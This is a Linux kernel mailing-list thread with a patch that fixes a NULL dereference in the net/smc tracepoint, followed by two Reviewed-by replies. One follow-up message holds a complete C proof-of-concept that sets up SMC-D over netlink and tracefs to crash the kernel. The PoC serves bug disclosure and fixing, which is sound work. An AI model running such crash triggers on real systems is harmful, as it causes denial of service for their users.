Linux s390 Architecture development
 help / color / mirror / Atom feed
* [PATCH net] net/smc: avoid NULL deref of conn->lnk in smc_msg_event tracepoint
@ 2026-05-10 22:26 Xiang Mei
  2026-05-10 22:50 ` Xiang Mei
                   ` (2 more replies)
  0 siblings, 3 replies; 4+ messages in thread
From: Xiang Mei @ 2026-05-10 22:26 UTC (permalink / raw)
  To: netdev
  Cc: alibuda, dust.li, wenjia, sidraya, tonylu, linux-rdma, linux-s390,
	bestswngs, Xiang Mei

The smc_msg_event tracepoint class, shared by smc_tx_sendmsg and
smc_rx_recvmsg, unconditionally dereferences smc->conn.lnk:

	__string(name, smc->conn.lnk->ibname)

conn->lnk is only set for SMC-R; for SMC-D it is NULL. Other code on
these paths already handles this (e.g. !conn->lnk in
SMC_STAT_RMB_TX_SIZE_SMALL()). With the tracepoint enabled, the first
sendmsg()/recvmsg() on an SMC-D socket crashes:

  Oops: general protection fault, probably for non-canonical address
  KASAN: null-ptr-deref in range [...]
  RIP: 0010:strlen+0x1e/0xa0
  Call Trace:
   trace_event_raw_event_smc_msg_event (net/smc/smc_tracepoint.h:44)
   smc_rx_recvmsg (net/smc/smc_rx.c:515)
   smc_recvmsg (net/smc/af_smc.c:2859)
   __sys_recvfrom (net/socket.c:2315)
   __x64_sys_recvfrom (net/socket.c:2326)
   do_syscall_64

The faulting address 0x3e0 is offsetof(struct smc_link, ibname),
confirming the NULL ->lnk deref. Enabling the tracepoint requires
root, but the trigger itself is unprivileged: socket(AF_SMC, ...) has
no capability check, and SMC-D negotiation needs no admin step on
s390 or on x86 with the loopback ISM device loaded.

Log an empty device name for SMC-D instead of dereferencing NULL.

Fixes: aff3083f10bf ("net/smc: Introduce tracepoints for tx and rx msg")
Reported-by: Weiming Shi <bestswngs@gmail.com>
Assisted-by: Claude:claude-opus-4-7
Signed-off-by: Xiang Mei <xmei5@asu.edu>
---
 net/smc/smc_tracepoint.h | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/net/smc/smc_tracepoint.h b/net/smc/smc_tracepoint.h
index a9a6e3c1113a..53da84f57fd6 100644
--- a/net/smc/smc_tracepoint.h
+++ b/net/smc/smc_tracepoint.h
@@ -51,7 +51,7 @@ DECLARE_EVENT_CLASS(smc_msg_event,
 				     __field(const void *, smc)
 				     __field(u64, net_cookie)
 				     __field(size_t, len)
-				     __string(name, smc->conn.lnk->ibname)
+				     __string(name, smc->conn.lnk ? smc->conn.lnk->ibname : "")
 		    ),
 
 		    TP_fast_assign(
-- 
2.43.0


^ permalink raw reply related	[flat|nested] 4+ messages in thread

* Re: [PATCH net] net/smc: avoid NULL deref of conn->lnk in smc_msg_event tracepoint
  2026-05-10 22:26 [PATCH net] net/smc: avoid NULL deref of conn->lnk in smc_msg_event tracepoint Xiang Mei
@ 2026-05-10 22:50 ` Xiang Mei
  2026-05-11  2:11 ` Dust Li
  2026-05-11  5:06 ` Sidraya Jayagond
  2 siblings, 0 replies; 4+ messages in thread
From: Xiang Mei @ 2026-05-10 22:50 UTC (permalink / raw)
  To: netdev
  Cc: alibuda, dust.li, wenjia, sidraya, tonylu, linux-rdma, linux-s390,
	bestswngs

Thanks for your attention to this bug. Here are some resources to help
you trigger the bug.

Required configs:
```
CONFIG_SMC=y
CONFIG_DIBS=y
CONFIG_DIBS_LO=y
CONFIG_SMC_DIAG=y
```

Here is a PoC trigger that causes the intended crash shown in the commi message:
```c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/mount.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <linux/genetlink.h>
#include <linux/netlink.h>

#define AF_SMC 43
#define PORT   30421
#define SMC_NETLINK_ADD_UEID    10
#define SMC_NETLINK_ENABLE_SEID 14
#define SMC_NLA_EID_TABLE_ENTRY 1
#define SMC_MAX_EID_LEN 32

struct nl_req {
    struct nlmsghdr  nh;
    struct genlmsghdr gh;
    char buf[64];
};

static int resolve_smc_family(int fd) {
    struct nl_req req = {0};
    const char *name = "SMC_GEN_NETLINK";
    int name_len = strlen(name) + 1;

    req.nh.nlmsg_type  = GENL_ID_CTRL;
    req.nh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    req.nh.nlmsg_seq   = 1;
    req.gh.cmd         = CTRL_CMD_GETFAMILY;
    req.gh.version     = 1;
    struct nlattr *na = (struct nlattr *)req.buf;
    na->nla_type = CTRL_ATTR_FAMILY_NAME;
    na->nla_len  = NLA_HDRLEN + name_len;
    memcpy((char *)na + NLA_HDRLEN, name, name_len);
    req.nh.nlmsg_len = NLMSG_HDRLEN + sizeof(req.gh) + NLA_ALIGN(na->nla_len);
    send(fd, &req, req.nh.nlmsg_len, 0);

    char resp[1024];
    int n = recv(fd, resp, sizeof(resp), 0);
    if (n < 0) return -1;
    struct nlmsghdr *nh = (struct nlmsghdr *)resp;
    struct genlmsghdr *gh = NLMSG_DATA(nh);
    int len = nh->nlmsg_len - NLMSG_LENGTH(sizeof(*gh));
    struct nlattr *attr = (struct nlattr *)((char *)gh + sizeof(*gh));
    while (len > 0 && (int)attr->nla_len <= len) {
        if (attr->nla_type == CTRL_ATTR_FAMILY_ID)
            return *(uint16_t *)((char *)attr + NLA_HDRLEN);
        int aligned = NLA_ALIGN(attr->nla_len);
        attr = (struct nlattr *)((char *)attr + aligned);
        len -= aligned;
    }
    return -1;
}

static void smc_genl(int fd, int family_id, int cmd, struct nlattr *na) {
    struct nl_req req = {0};
    req.nh.nlmsg_type  = family_id;
    req.nh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    req.nh.nlmsg_seq   = 2;
    req.gh.cmd         = cmd;
    req.gh.version     = 1;
    int payload = sizeof(req.gh);
    if (na) {
        memcpy(req.buf, na, na->nla_len);
        payload += NLA_ALIGN(na->nla_len);
    }
    req.nh.nlmsg_len = NLMSG_HDRLEN + payload;
    send(fd, &req, req.nh.nlmsg_len, 0);
    char resp[256];
    recv(fd, resp, sizeof(resp), 0);
}

static void write_str(const char *path, const char *val) {
    int fd = open(path, O_WRONLY);
    if (fd < 0) return;
    write(fd, val, strlen(val));
    close(fd);
}

static void *server_thread(void *arg) {
    int srv = socket(AF_SMC, SOCK_STREAM, 0);
    int one = 1;
    setsockopt(srv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
    struct sockaddr_in sa = {0};
    sa.sin_family = AF_INET;
    sa.sin_port = htons(PORT);
    sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    bind(srv, (struct sockaddr *)&sa, sizeof(sa));
    listen(srv, 1);
    accept(srv, NULL, NULL);
    sleep(5);
    return NULL;
}

int main(void) {
    mkdir("/sys/kernel/tracing", 0755);
    mount("nodev", "/sys/kernel/tracing", "tracefs", 0, NULL);
    // Imitate the enviroment with smc_tx_sendmsg enabled
    write_str("/sys/kernel/tracing/events/smc/smc_tx_sendmsg/enable", "1");

    int nl = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
    int fid = resolve_smc_family(nl);

    smc_genl(nl, fid, SMC_NETLINK_ENABLE_SEID, NULL);

    /* ADD_UEID: 32-byte EID padded with spaces, trailing NUL. */
    char buf[NLA_HDRLEN + SMC_MAX_EID_LEN + 1] = {0};
    struct nlattr *na = (struct nlattr *)buf;
    na->nla_type = SMC_NLA_EID_TABLE_ENTRY;
    na->nla_len  = NLA_HDRLEN + SMC_MAX_EID_LEN + 1;
    char *eid = buf + NLA_HDRLEN;
    memset(eid, ' ', SMC_MAX_EID_LEN);
    memcpy(eid, "TESTUEID", 8);
    smc_genl(nl, fid, SMC_NETLINK_ADD_UEID, na);
    close(nl);

    pthread_t tid;
    pthread_create(&tid, NULL, server_thread, NULL);
    usleep(500000);

    int cli = socket(AF_SMC, SOCK_STREAM, 0);
    struct sockaddr_in sa = {0};
    sa.sin_family = AF_INET;
    sa.sin_port = htons(PORT);
    sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    connect(cli, (struct sockaddr *)&sa, sizeof(sa));
    send(cli, "x", 1, 0);  /* trace_smc_tx_sendmsg -> NULL deref via
smc->conn.lnk */
    sleep(2);
    return 0;
}
```

Feel free to ask for more information.
Thanks,
Xiang

On Sun, May 10, 2026 at 3:26 PM Xiang Mei <xmei5@asu.edu> wrote:
>
> The smc_msg_event tracepoint class, shared by smc_tx_sendmsg and
> smc_rx_recvmsg, unconditionally dereferences smc->conn.lnk:
>
>         __string(name, smc->conn.lnk->ibname)
>
> conn->lnk is only set for SMC-R; for SMC-D it is NULL. Other code on
> these paths already handles this (e.g. !conn->lnk in
> SMC_STAT_RMB_TX_SIZE_SMALL()). With the tracepoint enabled, the first
> sendmsg()/recvmsg() on an SMC-D socket crashes:
>
>   Oops: general protection fault, probably for non-canonical address
>   KASAN: null-ptr-deref in range [...]
>   RIP: 0010:strlen+0x1e/0xa0
>   Call Trace:
>    trace_event_raw_event_smc_msg_event (net/smc/smc_tracepoint.h:44)
>    smc_rx_recvmsg (net/smc/smc_rx.c:515)
>    smc_recvmsg (net/smc/af_smc.c:2859)
>    __sys_recvfrom (net/socket.c:2315)
>    __x64_sys_recvfrom (net/socket.c:2326)
>    do_syscall_64
>
> The faulting address 0x3e0 is offsetof(struct smc_link, ibname),
> confirming the NULL ->lnk deref. Enabling the tracepoint requires
> root, but the trigger itself is unprivileged: socket(AF_SMC, ...) has
> no capability check, and SMC-D negotiation needs no admin step on
> s390 or on x86 with the loopback ISM device loaded.
>
> Log an empty device name for SMC-D instead of dereferencing NULL.
>
> Fixes: aff3083f10bf ("net/smc: Introduce tracepoints for tx and rx msg")
> Reported-by: Weiming Shi <bestswngs@gmail.com>
> Assisted-by: Claude:claude-opus-4-7
> Signed-off-by: Xiang Mei <xmei5@asu.edu>
> ---
>  net/smc/smc_tracepoint.h | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
>
> diff --git a/net/smc/smc_tracepoint.h b/net/smc/smc_tracepoint.h
> index a9a6e3c1113a..53da84f57fd6 100644
> --- a/net/smc/smc_tracepoint.h
> +++ b/net/smc/smc_tracepoint.h
> @@ -51,7 +51,7 @@ DECLARE_EVENT_CLASS(smc_msg_event,
>                                      __field(const void *, smc)
>                                      __field(u64, net_cookie)
>                                      __field(size_t, len)
> -                                    __string(name, smc->conn.lnk->ibname)
> +                                    __string(name, smc->conn.lnk ? smc->conn.lnk->ibname : "")
>                     ),
>
>                     TP_fast_assign(
> --
> 2.43.0
>

^ permalink raw reply	[flat|nested] 4+ messages in thread

* Re: [PATCH net] net/smc: avoid NULL deref of conn->lnk in smc_msg_event tracepoint
  2026-05-10 22:26 [PATCH net] net/smc: avoid NULL deref of conn->lnk in smc_msg_event tracepoint Xiang Mei
  2026-05-10 22:50 ` Xiang Mei
@ 2026-05-11  2:11 ` Dust Li
  2026-05-11  5:06 ` Sidraya Jayagond
  2 siblings, 0 replies; 4+ messages in thread
From: Dust Li @ 2026-05-11  2:11 UTC (permalink / raw)
  To: Xiang Mei, netdev
  Cc: alibuda, wenjia, sidraya, tonylu, linux-rdma, linux-s390,
	bestswngs

On 2026-05-10 15:26:40, Xiang Mei wrote:
>The smc_msg_event tracepoint class, shared by smc_tx_sendmsg and
>smc_rx_recvmsg, unconditionally dereferences smc->conn.lnk:
>
>	__string(name, smc->conn.lnk->ibname)
>
>conn->lnk is only set for SMC-R; for SMC-D it is NULL. Other code on
>these paths already handles this (e.g. !conn->lnk in
>SMC_STAT_RMB_TX_SIZE_SMALL()). With the tracepoint enabled, the first
>sendmsg()/recvmsg() on an SMC-D socket crashes:
>
>  Oops: general protection fault, probably for non-canonical address
>  KASAN: null-ptr-deref in range [...]
>  RIP: 0010:strlen+0x1e/0xa0
>  Call Trace:
>   trace_event_raw_event_smc_msg_event (net/smc/smc_tracepoint.h:44)
>   smc_rx_recvmsg (net/smc/smc_rx.c:515)
>   smc_recvmsg (net/smc/af_smc.c:2859)
>   __sys_recvfrom (net/socket.c:2315)
>   __x64_sys_recvfrom (net/socket.c:2326)
>   do_syscall_64
>
>The faulting address 0x3e0 is offsetof(struct smc_link, ibname),
>confirming the NULL ->lnk deref. Enabling the tracepoint requires
>root, but the trigger itself is unprivileged: socket(AF_SMC, ...) has
>no capability check, and SMC-D negotiation needs no admin step on
>s390 or on x86 with the loopback ISM device loaded.
>
>Log an empty device name for SMC-D instead of dereferencing NULL.
>
>Fixes: aff3083f10bf ("net/smc: Introduce tracepoints for tx and rx msg")
>Reported-by: Weiming Shi <bestswngs@gmail.com>
>Assisted-by: Claude:claude-opus-4-7
>Signed-off-by: Xiang Mei <xmei5@asu.edu>

Reviewed-by: Dust Li <dust.li@linux.alibaba.com>

Best regards,
Dust


^ permalink raw reply	[flat|nested] 4+ messages in thread

* Re: [PATCH net] net/smc: avoid NULL deref of conn->lnk in smc_msg_event tracepoint
  2026-05-10 22:26 [PATCH net] net/smc: avoid NULL deref of conn->lnk in smc_msg_event tracepoint Xiang Mei
  2026-05-10 22:50 ` Xiang Mei
  2026-05-11  2:11 ` Dust Li
@ 2026-05-11  5:06 ` Sidraya Jayagond
  2 siblings, 0 replies; 4+ messages in thread
From: Sidraya Jayagond @ 2026-05-11  5:06 UTC (permalink / raw)
  To: Xiang Mei, netdev
  Cc: alibuda, dust.li, wenjia, tonylu, linux-rdma, linux-s390,
	bestswngs



On 11/05/26 3:56 am, Xiang Mei wrote:
> The smc_msg_event tracepoint class, shared by smc_tx_sendmsg and
> smc_rx_recvmsg, unconditionally dereferences smc->conn.lnk:
> 
> 	__string(name, smc->conn.lnk->ibname)
> 
> conn->lnk is only set for SMC-R; for SMC-D it is NULL. Other code on
> these paths already handles this (e.g. !conn->lnk in
> SMC_STAT_RMB_TX_SIZE_SMALL()). With the tracepoint enabled, the first
> sendmsg()/recvmsg() on an SMC-D socket crashes:
> 
>   Oops: general protection fault, probably for non-canonical address
>   KASAN: null-ptr-deref in range [...]
>   RIP: 0010:strlen+0x1e/0xa0
>   Call Trace:
>    trace_event_raw_event_smc_msg_event (net/smc/smc_tracepoint.h:44)
>    smc_rx_recvmsg (net/smc/smc_rx.c:515)
>    smc_recvmsg (net/smc/af_smc.c:2859)
>    __sys_recvfrom (net/socket.c:2315)
>    __x64_sys_recvfrom (net/socket.c:2326)
>    do_syscall_64
> 
> The faulting address 0x3e0 is offsetof(struct smc_link, ibname),
> confirming the NULL ->lnk deref. Enabling the tracepoint requires
> root, but the trigger itself is unprivileged: socket(AF_SMC, ...) has
> no capability check, and SMC-D negotiation needs no admin step on
> s390 or on x86 with the loopback ISM device loaded.
> 
> Log an empty device name for SMC-D instead of dereferencing NULL.
> 
> Fixes: aff3083f10bf ("net/smc: Introduce tracepoints for tx and rx msg")
> Reported-by: Weiming Shi <bestswngs@gmail.com>
> Assisted-by: Claude:claude-opus-4-7
> Signed-off-by: Xiang Mei <xmei5@asu.edu>
> ---
>  net/smc/smc_tracepoint.h | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/net/smc/smc_tracepoint.h b/net/smc/smc_tracepoint.h
> index a9a6e3c1113a..53da84f57fd6 100644
> --- a/net/smc/smc_tracepoint.h
> +++ b/net/smc/smc_tracepoint.h
> @@ -51,7 +51,7 @@ DECLARE_EVENT_CLASS(smc_msg_event,
>  				     __field(const void *, smc)
>  				     __field(u64, net_cookie)
>  				     __field(size_t, len)
> -				     __string(name, smc->conn.lnk->ibname)
> +				     __string(name, smc->conn.lnk ? smc->conn.lnk->ibname : "")
>  		    ),
>  
>  		    TP_fast_assign(
Reviewed-by: Sidraya Jayagond <sidraya@linux.ibm.com>

^ permalink raw reply	[flat|nested] 4+ messages in thread

end of thread, other threads:[~2026-05-11  5:06 UTC | newest]

Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-05-10 22:26 [PATCH net] net/smc: avoid NULL deref of conn->lnk in smc_msg_event tracepoint Xiang Mei
2026-05-10 22:50 ` Xiang Mei
2026-05-11  2:11 ` Dust Li
2026-05-11  5:06 ` Sidraya Jayagond

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox